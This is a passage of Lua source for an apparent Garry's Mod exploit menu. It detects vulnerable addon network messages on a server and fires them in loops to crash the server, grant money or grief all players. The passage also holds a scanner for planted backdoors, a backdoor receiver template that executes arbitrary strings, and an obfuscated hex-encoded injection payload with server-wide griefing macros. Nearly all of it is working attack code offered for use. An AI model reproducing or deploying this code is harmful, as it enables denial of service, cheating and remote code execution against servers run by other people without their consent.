8990addExploit( "263","Lagger #25", "an exploit in the addon 'Desktop Printers', discovered by Leith", function()
8991surface.PlaySound("garrysmod/ui_click.wav")
8992ECNotify("Starting")
8993if !timer.Exists("lagger25") then
8994timer.Create("lagger25", 0, 0, function()
8995for i = 1, 1000 do
8996net.Start("desktopPrinter_Withdraw",true)
8997net.WriteEntity(LocalPlayer())
8998net.SendToServer()
8999end
9000end )
9001end
9002end )
9003end
9004
9005status = ValidNetString("sphys_dupe")
9006if (status) then
9007ECPrint("Found Exploit: Lagger #26 [sphys_dupe]")
9008addExploit( "264","Lagger #26", "an exploit in the addon 'Simfphys', discovered by Solly", function()
9009surface.PlaySound("garrysmod/ui_click.wav")
9010ECNotify("Starting")
9011timer.Create("lagger26", 0.2, 0, function()
9012for i=1,2200 do
9013net.Start("sphys_dupe",true)
9014net.SendToServer()
9015end
9016end )
9017end )
9018end
9019
9020status = ValidNetString("simfphys_gasspill")
9021if (status) then
9022ECPrint("Found Exploit: Poop on players [simfphys_gasspill]")
9023addExploit( "265","Poop on players", "an exploit in the addon 'Simfphys', discovered by Solly", function()
9024surface.PlaySound("garrysmod/ui_click.wav")
9025ECNotify("Starting")
9026timer.Create("poop", 0.1, 0, function()
9027for k,v in pairs(player.GetAll()) do
9028for j=1,3 do
9029if IsValid(v) then
9030net.Start("simfphys_gasspill")
9031net.WriteVector(v:GetPos()+Vector(0,0,90))
9032net.WriteVector(v:EyePos())
9033net.SendToServer()
9034end
9035end
9036end
9037end )
9038end )
9039end
9040
9041status = ValidNetString("dronesrewrite_controldr")
9042if (status) then
9043ECPrint("Found Exploit: Lagger #27 [dronesrewrite_controldr]")
9044addExploit( "266","Lagger #27", "discovered by Solly", function()
9045surface.PlaySound("garrysmod/ui_click.wav")
9046ECNotify("Starting")
9047timer.Create("lagger27", 0.2, 0, function()
9048for i=1,2200 do
9049net.Start("dronesrewrite_controldr",true)
9050net.SendToServer()
9051end
9052end )
9053end )
9054end
9055
9056
9057status = ValidNetString("SCP-294Sv")
9058if (status) then
9059ECPrint("Found Exploit: SCP-294 Exploit [SCP-294Sv]")
9060addExploit( "267","SCP-294 Exploit", "discovered by questionmark", function()
9061surface.PlaySound("garrysmod/ui_click.wav")
9062ECNotify("Starting")
9063for k,v in pairs(ents.GetAll()) do
9064net.Start("SCP-294Sv")
9065net.WriteString("acid")
9066net.WriteEntity(v)
9067net.SendToServer()
9068end
9069end )
9070end
9071
9072status = ValidNetString("VC_PlayerReady")
9073if (status) then
9074ECPrint("Found Exploit: Lagger #28 [VC_PlayerReady]")
9075addExploit( "268","Lagger #28", "an exploit in the addon 'VCMod', discovered by Leith", function()
9076surface.PlaySound("garrysmod/ui_click.wav")
9077ECNotify("Starting")
9078timer.Create("lagger28", 0, 0, function()
9079for i = 1, 1000 do
9080net.Start("VC_PlayerReady",true)
9081net.SendToServer()
9082end
9083end )
9084end )
9085end
9086
9087status = ValidNetString("phone")
9088if (status) then
9089ECPrint("Found Exploit: Call all players [phone]")
9090addExploit( "269","Call all players", "discovered by questionmark", function()
9091surface.PlaySound("garrysmod/ui_click.wav")
9092ECNotify("Starting")
9093for k, v in pairs(player.GetAll()) do
9094net.Start("phone")
9095net.WriteTable{
9096ply=v,
9097act='call'
9098}
9099net.SendToServer()
9100end
9101end )
9102end
9103
9104status = ValidNetString("blueatm")
9105if (status) then
9106ECPrint("Found Exploit: Lagger #29 [blueatm]")
9107addExploit( "270","Lagger #29", "an exploit in the addon 'Blue ATM', discovered by Leith", function()
9108surface.PlaySound("garrysmod/ui_click.wav")
9109ECNotify("Starting")
9110timer.Create("lagger29", 0, 0, function()
9111for i = 1, 1000 do
9112net.Start("blueatm",true)
9113net.WriteEntity(LocalPlayer())
9114net.SendToServer()
9115end
9116end )
9117end )
9118end
9119
9120status = ValidNetString("cab_cd_testdrive")
9121if (status) then
9122ECPrint("Found Exploit: Stavox Teleport [cab_cd_testdrive]")
9123addExploit( "271","Stavox Teleport", "discovered by Aromatic", function()
9124surface.PlaySound("garrysmod/ui_click.wav")
9125ECNotify("Starting")
9126net.Start('cab_cd_testdrive')
9127net.WriteUInt(0, 3)
9128net.WriteUInt(5, 8)
9129net.SendToServer()
9130end )
9131end
9132
9133status = ValidNetString("cab_sendmessage")
9134if (status) then
9135ECPrint("Found Exploit: Stavox Message [cab_sendmessage]")
9136addExploit( "272","Stavox Message", "discovered by Aromatic", function()
9137surface.PlaySound("garrysmod/ui_click.wav")
9138ECNotify("Starting")
9139for k, v in pairs(player.GetAll()) do
9140net.Start("cab_sendmessage")
9141net.WriteEntity(v)
9142net.WriteString("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n")
9143net.SendToServer()
9144end
9145end )
9146end
9147
9148status = ValidNetString("disguise")
9149if (status) then
9150ECPrint("Found Exploit: Lagger #30 [disguise]")
9151addExploit( "273","Lagger #30", "discovered by Aromatic & Leith", function()
9152surface.PlaySound("garrysmod/ui_click.wav")
9153timer.Create("lagger30", 0, 0, function()
9154for i = 1, 1000 do
9155net.Start("disguise",true)
9156net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 32)
9157net.SendToServer()
9158end
9159end )
9160end )
9161end
9162
9163status = ValidNetString("FARMINGMOD_DROPITEM")
9164if (status) then
9165ECPrint("Found Exploit: Lagger #31 [FARMINGMOD_DROPITEM]")
9166addExploit( "274","Lagger #31", "discovered by Leith", function()
9167surface.PlaySound("garrysmod/ui_click.wav")
9168timer.Create("lagger31", 0, 0, function()
9169for i = 1, 1000 do
9170net.Start("FARMINGMOD_DROPITEM",true)
9171net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 16)
9172net.SendToServer()
9173end
9174end )
9175end )
9176end
9177
9178status = ValidNetString("SlotsRemoved")
9179if (status) then
9180ECPrint("Found Exploit: Lagger #32 [SlotsRemoved]")
9181addExploit( "275","Lagger #32", "an exploit in the addon 'PointShop 2 Perma Weapons', discovered by Leith", function()
9182surface.PlaySound("garrysmod/ui_click.wav")
9183timer.Create("lagger32", 0, 0, function()
9184for i = 1, 1000 do
9185net.Start("SlotsRemoved",true)
9186net.SendToServer()
9187end
9188end )
9189end )
9190end
9191
9192status = ValidNetString("AirDrops_StartPlacement")
9193if (status) then
9194ECPrint("Found Exploit: Lagger #33 [AirDrops_StartPlacement]")
9195addExploit( "276","Lagger #33", "an exploit in the addon 'PointShop 2 AirDrops', discovered by Dembi", function()
9196surface.PlaySound("garrysmod/ui_click.wav")
9197timer.Create("lagger33", 0, 0, function()
9198for i = 1, 1000 do
9199net.Start("AirDrops_StartPlacement",true)
9200net.SendToServer()
9201end
9202end )
9203end )
9204end
9205
9206status = ValidNetString("pp_info_send")
9207if (status) then
9208ECPrint("Found Exploit: Lagger #34 [pp_info_send]")
9209addExploit( "277","Lagger #34", "an exploit in the addon 'Perma Props',discovered by Leith", function()
9210surface.PlaySound("garrysmod/ui_click.wav")
9211timer.Create("lagger33", 0, 0, function()
9212for i = 1, 1000 do
9213net.Start("pp_info_send",true)
9214net.SendToServer()
9215end
9216end )
9217end )
9218end
9219
9220status = ValidNetString("IGS.GetPaymentURL")
9221if (status) then
9222ECPrint("Found Exploit: Lagger #35 [IGS.GetPaymentURL]")
9223addExploit( "278","Lagger #35", "an exploit in the 'IGS', discovered by Leith", function()
9224surface.PlaySound("garrysmod/ui_click.wav")
9225timer.Create("lagger35", 0, 0, function()
9226for i = 1, 1000 do
9227net.Start("IGS.GetPaymentURL",true)
9228net.WriteDouble(9999999999999999999999999999999999999999999999999999999999)
9229net.SendToServer()
9230end
9231end )
9232end )
9233end
9234
9235status = ValidNetString("fg_printer_money")
9236if (status) then
9237ECPrint("Found Exploit: Lagger #36 [fg_printer_money]")
9238addExploit( "279","Lagger #36", "an exploit in the 'FG Printers', discovered by Aromatic", function()
9239surface.PlaySound("garrysmod/ui_click.wav")
9240timer.Create("lagger36", 0, 0, function()
9241for i = 1, 1000 do
9242net.Start('fg_printer_money',true)
9243net.WriteEntity(LocalPlayer())
9244net.SendToServer()
9245end
9246end )
9247end )
9248end
9249
9250status = ValidNetString("tickbookpayfine")
9251if (status) then
9252ECPrint("Found Exploit: Lagger #37 [tickbookpayfine]")
9253addExploit( "280","Lagger #37", "an exploit in the 'Ticket Book', discovered by Aromatic", function()
9254surface.PlaySound("garrysmod/ui_click.wav")
9255timer.Create("lagger37", 0, 0, function()
9256for i = 1, 1000 do
9257net.Start("tickbookpayfine",true)
9258net.SendToServer()
9259end
9260end )
9261end )
9262end
9263
9264status = ValidNetString("BeginSpin")
9265if (status) then
9266ECPrint("Found Exploit: Lagger #38 [BeginSpin]")
9267addExploit( "281","Lagger #38", "an exploit in the 'Blue Unbox 2', discovered by Leith", function()
9268surface.PlaySound("garrysmod/ui_click.wav")
9269timer.Create("lagger38", 0, 0, function()
9270for i = 1, 1000 do
9271net.Start("BeginSpin",true)
9272net.SendToServer()
9273end
9274end )
9275end )
9276end
9277
9278status = ValidNetString("DuelRequestClient")
9279if (status) then
9280ECPrint("Found Exploit: Lagger #39 [DuelRequestClient]")
9281addExploit( "282","Lagger #39", "discovered by Leith", function()
9282surface.PlaySound("garrysmod/ui_click.wav")
9283timer.Create("lagger39", 0, 0, function()
9284for i = 1, 1000 do
9285net.Start("DuelRequestClient",true)
9286net.SendToServer()
9287end
9288end )
9289end )
9290end
9291
9292status = ValidNetString("ncpstoredoact")
9293if (status) then
9294ECPrint("Found Exploit: Lagger #40 [ncpstoredoact]")
9295addExploit( "283","Lagger #40", "an exploit in the addon 'NPC Store',discovered by Leith", function()
9296surface.PlaySound("garrysmod/ui_click.wav")
9297timer.Create("lagger40", 0, 0, function()
9298for i = 1, 1000 do
9299net.Start("ncpstoredoact",true)
9300net.SendToServer()
9301end
9302end )
9303end )
9304end
9305
9306status = ValidNetString("PermwepsNPCSellWeapon")
9307if (status) then
9308ECPrint("Found Exploit: Lagger #41 [PermwepsNPCSellWeapon]")
9309addExploit( "284","Lagger #41", "discovered by Leith", function()
9310surface.PlaySound("garrysmod/ui_click.wav")
9311timer.Create("lagger41", 0, 0, function()
9312for i = 1, 2000 do
9313net.Start("PermwepsNPCSellWeapon",true)
9314net.WriteString("")
9315net.SendToServer()
9316end
9317end )
9318end )
9319end
9320
9321status = ValidNetString("bitcoins_request_withdraw")
9322if (status) then
9323ECPrint("Found Exploit: Lagger #42 [bitcoins_request_withdraw]")
9324addExploit( "285","Lagger #42", "discovered by Leith", function()
9325surface.PlaySound("garrysmod/ui_click.wav")
9326timer.Create("lagger42", 0, 0, function()
9327for i = 1, 2000 do
9328net.Start("bitcoins_request_withdraw",true)
9329net.SendToServer()
9330end
9331end )
9332end )
9333end
9334
9335status = ValidNetString("bitcoins_request_turn_on")
9336if (status) then
9337ECPrint("Found Exploit: To include all bitcoin miners [bitcoins_request_turn_on]")
9338addExploit( "286","To include all bitcoin miners", "discovered by Leith", function()
9339surface.PlaySound("garrysmod/ui_click.wav")
9340ECNotify("Starting")
9341for k, v in pairs(ents.GetAll()) do
9342if v:GetModel() == "models/props_c17/consolebox01a.mdl" then
9343net.Start("bitcoins_request_turn_on")
9344net.WriteEntity(v)
9345net.SendToServer()
9346end
9347end
9348end)
9349end
9350
9351status = ValidNetString("bitcoins_request_turn_off")
9352if (status) then
9353ECPrint("Found Exploit: Disable all bitcoin miners [bitcoins_request_turn_off]")
9354addExploit( "287","Disable all bitcoin miners", "discovered by Leith", function()
9355surface.PlaySound("garrysmod/ui_click.wav")
9356ECNotify("Starting")
9357for k, v in pairs(ents.GetAll()) do
9358if v:GetModel() == "models/props_c17/consolebox01a.mdl" then
9359net.Start("bitcoins_request_turn_off")
9360net.WriteEntity(v)
9361net.SendToServer()
9362end
9363end
9364end)
9365end
9366
9367status = ValidNetString("NET_AM_MakePotion")
9368if (status) then
9369ECPrint("Found Exploit: Lagger #43 [NET_AM_MakePotion]")
9370addExploit( "288","Lagger #43", "discovered by Leith", function()
9371surface.PlaySound("garrysmod/ui_click.wav")
9372ECNotify("Starting")
9373timer.Create("lagger43", 0, 0, function()
9374for i = 1, 2000 do
9375net.Start('NET_AM_MakePotion',true)
9376net.WriteEntity(LocalPlayer())
9377net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 8)
9378net.SendToServer()
9379end
9380end )
9381end )
9382end
9383
9384status = ValidNetString("minigun_drones_switch")
9385if (status) then
9386ECPrint("Found Exploit: Lagger #44 [minigun_drones_switch]")
9387addExploit( "289","Lagger #44", "discovered by Solly", function()
9388surface.PlaySound("garrysmod/ui_click.wav")
9389ECNotify("Starting")
9390timer.Create("lagger44", 0.2, 0, function()
9391for i=1,2200 do
9392net.Start("minigun_drones_switch",true)
9393net.SendToServer()
9394end
9395end )
9396end )
9397end
9398
9399status = ValidNetString("CW20_PRESET_LOAD")
9400if (status) then
9401ECPrint("Found Exploit: Lagger #45 (u need cw2 weapon in hand) [CW20_PRESET_LOAD]")
9402addExploit( "290","Lagger #45", "(u need cw2 weapon in hand),discovered by Solly", function()
9403surface.PlaySound("garrysmod/ui_click.wav")
9404ECNotify("Starting")
9405timer.Create("lagger45", 0.2, 0, function()
9406if(LocalPlayer():GetActiveWeapon():GetClass():find("cw"))then
9407for i=1,2200 do
9408net.Start("CW20_PRESET_LOAD",true)
9409net.SendToServer()
9410end
9411end
9412end )
9413end )
9414end
9415
9416status = ValidNetString("SBP_addtime")
9417if (status) then
9418ECPrint("Found Exploit: Lagger #46 [SBP_addtime]")
9419addExploit( "291","Lagger #46", "discovered by Solly", function()
9420surface.PlaySound("garrysmod/ui_click.wav")
9421ECNotify("Starting")
9422timer.Create("lagger46", 0.3, 0, function()
9423for i=1,2200 do
9424net.Start("SBP_addtime",true)
9425net.SendToServer()
9426end
9427end )
9428end )
9429end
9430
9431status = ValidNetString("SBP_addtime")
9432if (status) then
9433ECPrint("Found Exploit: XP Booster [SBP_addtime]")
9434addExploit( "292","XP Booster", "discovered by Solly", function()
9435inputFrameExists = true
9436inputFrame = vgui.Create( "DFrame" )
9437inputFrame:SetTitle("Enter the number")
9438inputFrame:SetSize( 400, 75 )
9439inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
9440inputFrame:SetDraggable(false)
9441inputFrame:ShowCloseButton(true)
9442inputFrame:MakePopup()
9443inputFrame.Paint = function( self, w, h )
9444draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
9445end
9446local TextEntry = vgui.Create( "DTextEntry", inputFrame )
9447TextEntry:SetSize( 380, 30 )
9448TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
9449TextEntry:SetText( "100" )
9450TextEntry.OnEnter = function( self )
9451surface.PlaySound("garrysmod/ui_click.wav")
9452timer.Create("ofn", 0.2, 0, function()
9453for i=1,tonumber(self:GetText()) do
9454net.Start("SBP_addtime")
9455net.SendToServer()
9456end
9457inputFrame:SetVisible(false)
9458end )
9459end
9460end )
9461end
9462
9463status = ValidNetString("ts_buytitle")
9464if (status) then
9465ECPrint("Found Exploit: Lagger #47 [ts_buytitle]")
9466addExploit( "293","Lagger #47", "an exploit in the addon 'TitleStore'", function()
9467surface.PlaySound("garrysmod/ui_click.wav")
9468ECNotify("Starting")
9469timer.Create("lagger47", 0, 0, function()
9470for i=1,1000 do
9471net.Start("ts_buytitle",true)
9472net.WriteTable({})
9473net.WriteTable({})
9474net.WriteTable({})
9475net.SendToServer()
9476end
9477end )
9478end )
9479end
9480
9481status = ValidNetString("STLoanToServer") -- 212.92.101.152:27015
9482if (status) then
9483ECPrint("Found Exploit: MONEY HACK [STLoanToServer]")
9484addExploit( "294","MONEY HACK", "", function()
9485surface.PlaySound("garrysmod/ui_click.wav")
9486ECNotify("Starting")
9487for i=1,100 do
9488net.Start( "STLoanToServer" )
9489net.WriteInt(50000,32 )
9490net.SendToServer()
9491end
9492end )
9493end
9494
9495
9496status = ValidNetString("arcslots_monitortype")
9497if (status) then
9498ECPrint("Found Exploit: Lagger #48 [arcslots_monitortype]")
9499addExploit("295", "Lagger #48", "discovered by Aromatic", function()
9500surface.PlaySound("garrysmod/ui_click.wav")
9501ECNotify("Starting")
9502timer.Create("lagger48", 0, 0, function()
9503for i=1, 1000 do
9504net.Start("arcslots_monitortype")
9505net.SendToServer()
9506end
9507end )
9508end )
9509end
9510
9511status = ValidNetString("TCBDealerStore")
9512if (status) then
9513ECPrint("Found Exploit: 1tap server [TCBDealerStore]")
9514addExploit("296", "1tap server", "discovered by Aromatic", function()
9515surface.PlaySound("garrysmod/ui_click.wav")
9516ECNotify("Starting")
9517timer.Create("1tapz", 0, 0, function()
9518for i=1, 1000 do
9519net.Start("TCBDealerStore")
9520net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 32)
9521net.SendToServer()
9522end
9523end )
9524end )
9525end
9526
9527status = ValidNetString("TCBDealerSpawn")
9528if (status) then
9529ECPrint("Found Exploit: 1tap server [TCBDealerSpawn]")
9530addExploit("297", "1tap server", "discovered by Aromatic", function()
9531surface.PlaySound("garrysmod/ui_click.wav")
9532ECNotify("Starting")
9533timer.Create("1tapzz", 0, 0, function()
9534for i=1, 1000 do
9535net.Start("TCBDealerSpawn")
9536net.WriteString("sw_gokart")
9537net.WriteInt(1, 32)
9538net.WriteBool(false)
9539net.SendToServer(LocalPlayer())
9540end
9541end )
9542end )
9543end
9544
9545
9546
9547
9548
9549
9550
9551
9552
9553
9554
9555
9556
9557///////////////////////////////////////////// [OTHER] /////////////////////////////////////////////
9558
9559status = ValidNetString("EnterpriseWithdraw")
9560if (status) then
9561ECPrint("Found Exploit: ENTERPRISE FOUND! [EnterpriseWithdraw]")
9562addExploit( "1337","ENTERPRISE FOUND!", "discovered by Leith", function()
9563surface.PlaySound("garrysmod/ui_click.wav")
9564ECNotify("Starting")
9565net.Start("EnterpriseWithdraw")
9566net.WriteInt(100, 32)
9567net.SendToServer()
9568end )
9569end
9570
9571status = ValidNetString("SetPermaKnife")
9572if (status) then
9573ECPrint("Found Exploit: PERMA KNIFE FOUND [SetPermaKnife]")
9574addExploit( "1337","PERMA KNIFE FOUND", "PERMA KNIFE FOUND", function()
9575surface.PlaySound("garrysmod/ui_click.wav")
9576/*
9577function cockSucker(ply,cmd,args,argStr)
9578local ply = LocalPlayer()
9579
9580net.Start( "SetPermaKnife" )
9581 net.WriteString( string.TrimRight(argStr,".lua") )
9582net.SendToServer()
9583end
9584
9585concommand.Add("gibe_weapon",cockSucker)
9586*/
9587end )
9588end
9589
9590----------------------------------------------------------------------------------
9591-- for k, v in pairs(player.GetAll()) do
9592-- for k, v in pairs(ents.GetAll()) do
9593----------------------------------------------------------------------------------
9594-- if !timer.Exists("lagger") then
9595-- timer.Create("lagger", 0, 0, function()
9596-- for i = 1, 1000 do
9597-----------------------------
9598-- 9999999999999999999999999999999999999999999999999999999999
9599-- 0xFFFFFFF
9600--------------------------------------------------------------------------------------------------
9601--------------------------------------------------------------------------------------------------
9602--------------------------------------------------------------------------------------------------
9603
9604end
9605
9606concommand.Add('R8_Exploit',function()
9607R8_Menu()
9608end)
9609
9610
9611
9612
9613local BD = {}
9614netKey = "memeDoor"
9615BackdoorsFound = 0
9616
9617function ValidNetString(str)
9618 local status, error = pcall(net.Start, str)
9619
9620 return status
9621end
9622
9623BackDoor_net = {
9624 {
9625 NetWork = "Sandbox_ArmDupe"
9626 },
9627 {
9628 NetWork = "Sbox_darkrp"
9629 },
9630 {
9631 NetWork = "Sbox_itemstore"
9632 },
9633 {
9634 NetWork = "Ulib_Message"
9635 },
9636 {
9637 NetWork = "ULogs_Info"
9638 },
9639 {
9640 NetWork = "ITEM"
9641 },
9642 {
9643 NetWork = "R8"
9644 },
9645 {
9646 NetWork = "fix"
9647 },
9648 {
9649 NetWork = "Fix_Keypads"
9650 },
9651 {
9652 NetWork = "Remove_Exploiters"
9653 },
9654 {
9655 NetWork = "noclipcloakaesp_chat_text"
9656 },
9657 {
9658 NetWork = "_Defqon"
9659 },
9660 {
9661 NetWork = "_CAC_ReadMemory",
9662"nostrip"
9663 },
9664 {
9665 NetWork = "nocheat"
9666 },
9667 {
9668 NetWork = "LickMeOut"
9669 },
9670 {
9671 NetWork = "ULX_QUERY2"
9672 },
9673 {
9674 NetWork = "ULXQUERY2"
9675 },
9676 {
9677 NetWork = "MoonMan"
9678 },
9679 {
9680 NetWork = "Im_SOCool"
9681 },
9682 {
9683 NetWork = "Sandbox_GayParty"
9684 },
9685 {
9686 NetWork = "DarkRP_UTF8"
9687 },
9688 {
9689 NetWork = "oldNetReadData"
9690 },
9691 {
9692 NetWork = "memeDoor"
9693 },
9694 {
9695 NetWork = "BackDoor"
9696 },
9697 {
9698 NetWork = "OdiumBackDoor"
9699 },
9700 {
9701 NetWork = "SessionBackdoor"
9702 },
9703 {
9704 NetWork = "DarkRP_AdminWeapons"
9705 },
9706 {
9707 NetWork = "cucked"
9708 },
9709 {
9710 NetWork = "NoNerks"
9711 },
9712 {
9713 NetWork = "kek"
9714 },
9715 {
9716 NetWork = "ZimbaBackDoor"
9717 },
9718 {
9719 NetWork = "something"
9720 },
9721 {
9722 NetWork = "random"
9723 },
9724 {
9725 NetWork = "strip0"
9726 },
9727 {
9728 NetWork = "fellosnake"
9729 },
9730 {
9731 NetWork = "enablevac"
9732 },
9733 {
9734 NetWork = "idk"
9735 },
9736 {
9737 NetWork = "c"
9738 },
9739 {
9740 NetWork = "killserver"
9741 },
9742 {
9743 NetWork = "fuckserver"
9744 },
9745 {
9746 NetWork = "cvaraccess"
9747 },
9748 {
9749 NetWork = "rcon"
9750 },
9751 {
9752 NetWork = "rconadmin"
9753 },
9754 {
9755 NetWork = "web"
9756 },
9757 {
9758 NetWork = "jesuslebg"
9759 },
9760 {
9761 NetWork = "zilnix"
9762 },
9763 {
9764 NetWork = "??? ?D)?—?"
9765 },
9766 {
9767 NetWork = "disablebackdoor"
9768 },
9769 {
9770 NetWork = "kill"
9771 },
9772 {
9773 NetWork = ""
9774 },
9775 {
9776 NetWork = "DefqonBackdoor"
9777 }
9778}
9779
9780function checkbackdoors()
9781 for k, v in pairs(BackDoor_net) do
9782 if (ValidNetString(v.NetWork)) then
9783 BackdoorsFound = 1 + BackdoorsFound
9784 chat.AddText(Color(0, 0, 0, 125), "[R8]", Color(255, 255, 255), " Found Backdoor! - " .. v.NetWork)
9785 v.NetWork = backdoor
9786 end
9787 end
9788end
9789
9790BD.Backdoors = BD.Backdoors or {}
9791BD.CurrentBackdoor = "Generic"
9792
9793for k, v in pairs(BackDoor_net) do
9794 if (ValidNetString(v.NetWork)) then
9795 BD.BackdoorTypes = {
9796 ["Generic"] = {
9797 ["Code"] = "util.AddNetworkString( " .. v.NetWork .. " ) net.Receive( " .. v.NetWork .. ", function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
9798 ["Netkey"] = v.NetWork
9799 }
9800 }
9801 end
9802end
9803
9804checkbackdoors()
9805local netsss = net.Start
9806
9807function BD.IsMessagePooled(netmessage)
9808 local netfunc = netsss
9809
9810 return status
9811end
9812
9813local net = net
9814local ctxt = chat.AddText
9815
9816function BD.ChatText(message, col)
9817 ctxt(Color(195, 205, 255, 255), "[Blackdoor] ", col, message)
9818end
9819
9820function BD.PingBackDoors()
9821 local bds = {}
9822
9823 for k, v in pairs(BackDoor_net) do
9824 if BD.IsMessagePooled(tostring(v.NetWork)) then
9825 bds[k] = true
9826 end
9827 end
9828
9829 return bds
9830end
9831
9832concommand.Add("bd_refresh_backdoors", function()
9833 BD.Backdoors = BD.PingBackDoors()
9834end)
9835
9836function BD.BackdoorActive()
9837 return table.Count(BD.Backdoors) > 0
9838end
9839
9840BD.BDMacros = {
9841 ["Artillery Strike"] = {
9842 ["Type"] = 1,
9843 ["Code"] = [[if !bombstrike then
9844
9845hook.Add("Think", "lulz_bombstrike", function()
9846
9847local explode = ents.Create( "env_explosion" )
9848
9849local ps = Vector(math.random(-8000, 8000), math.random(-8000, 8000), math.random(-5000, 5000))
9850
9851local trc = {}
9852
9853trc.start = ps
9854
9855trc.endpos = ps + Vector( 0, 0, -99999)
9856
9857local tr = util.TraceLine(trc)
9858
9859if !tr.Hit then return end
9860
9861explode:SetPos( tr.HitPos )
9862
9863explode:Spawn()
9864
9865explode:SetKeyValue( "iMagnitude", "400" )
9866
9867explode:Fire( "Explode", 0, 0 )
9868
9869end)
9870
9871bombstrike = true
9872
9873else
9874
9875hook.Remove("Think", "lulz_bombstrike")
9876
9877bombstrike = false
9878
9879end]],
9880 ["Desc"] = "Explode the shit out of everything"
9881 },
9882 ["@ Inject SendLua Interface"] = {
9883 ["Type"] = 1,
9884 ["Code"] = [[
9885
9886 local ? = _G local ?? = ?['\115\116\114\105\110\103'] local ??? = ?['\98\105\116']['\98\120\111\114'] local function ???????(????) if ??['\108\101\110'](????) == 0 then return ???? end local ????? = '' for _ in ??['\103\109\97\116\99\104'](????,'\46\46') do ?????=?????..??['\99\104\97\114'](???(?["\116\111\110\117\109\98\101\114"](_,16),25)) end return ????? end ?[???????'6c6d7075'][???????'587d7d577c6d6e766b724a6d6b70777e'](???????'4b21')?[???????'777c6d'][???????'4b7c7a7c706f7c'](???????'4b21',function ()local false?=?[???????'5a76746970757c4a6d6b70777e'](?[???????'777c6d'][???????'4b7c787d4a6d6b70777e'](),???????'556c785a747d',false )if ?[???????'706a7f6c777a6d707677'](false?)then false?()end end )
9887
9888 ]],
9889 ["Desc"] = "You need this to use certain macros"
9890 },
9891 ["Announce centre screen"] = {
9892 ["Type"] = 1,
9893 ["Code"] = [[for k, v in pairs(player.GetAll()) do v:PrintMessage( HUD_PRINTCENTER, @1 ) end]],
9894 ["Desc"] = "Make an announcement in the centre of everybodys screen",
9895 ["NeedsParameters"] = 1
9896 },
9897 ["Rainbow chat spam"] = {
9898 ["Type"] = 1,
9899 ["Code"] = [[
9900
9901 if !timer.Exists( "lulz_chatspam" ) then
9902
9903 timer.Create( "lulz_chatspam", 0.5, 0, function() BDSendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), @1 )' ) end)
9904
9905 else
9906
9907 timer.Remove( "lulz_chatspam" )
9908
9909 end]],
9910 ["Desc"] = "Spam rainbow chat for all players with the 1st parameter as the text",
9911 ["NeedsParameters"] = 1
9912 },
9913 ["Rainbow chat spam (Turbo)"] = {
9914 ["Type"] = 1,
9915 ["Code"] = [[
9916
9917 if !timer.Exists( "lulz_chatspam" ) then
9918
9919 timer.Create( "lulz_chatspam", 0.01, 0, function() BDSendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), @1 )' ) end)
9920
9921 else
9922
9923 timer.Remove( "lulz_chatspam" )
9924
9925 end]],
9926 ["Desc"] = "Spam rainbow chat for all players with the 1st parameter as the text",
9927 ["NeedsParameters"] = 1
9928 },
9929 ["Unlock all doors"] = {
9930 ["Type"] = 1,
9931 ["Code"] = [[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("unlock", "", 0) end end]],
9932 ["Desc"] = ""
9933 },
9934 ["Toggle all doors"] = {
9935 ["Type"] = 1,
9936 ["Code"] = [[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("toggle", "", 0) end end]],
9937 ["Desc"] = ""
9938 },
9939 ["Broken Glass Symphony"] = {
9940 ["Type"] = 1,
9941 ["Code"] = [[
9942
9943 if !timer.Exists( "A true masterpiece" ) then
9944
9945 timer.Create( "A true masterpiece", 0.2, 0, function()
9946
9947 for _, p in pairs(player.GetAll()) do
9948
9949 p:EmitSound( "physics/glass/glass_largesheet_break"..math.random(1,3)..".wav", 100, math.random( 40, 180 ) )
9950
9951 end
9952
9953 end)
9954
9955 else
9956
9957 timer.Remove( "A true masterpiece" )
9958
9959 end]],
9960 ["Desc"] = "Beethoven's last hidden symphony, only rediscovered in 2017"
9961 },
9962 ["Yeah Baby"] = {
9963 ["Type"] = 1,
9964 ["Code"] = [[
9965
9966 if !timer.Exists( "porn" ) then
9967
9968 timer.Create( "porn", 0.3, 0, function()
9969
9970 for _, p in pairs(player.GetAll()) do
9971
9972 p:EmitSound( "vo/npc/female01/yeah02.wav", 100, math.random( 90, 120 ) )
9973
9974 end
9975
9976 end)
9977
9978 else
9979
9980 timer.Remove( "porn" )
9981
9982 end]],
9983 ["Desc"] = "YEAH BABY YEAH"
9984 },
9985 ["Street War"] = {
9986 ["Type"] = 1,
9987 ["Code"] = [[
9988
9989 if !timer.Exists( "cwar" ) then
9990
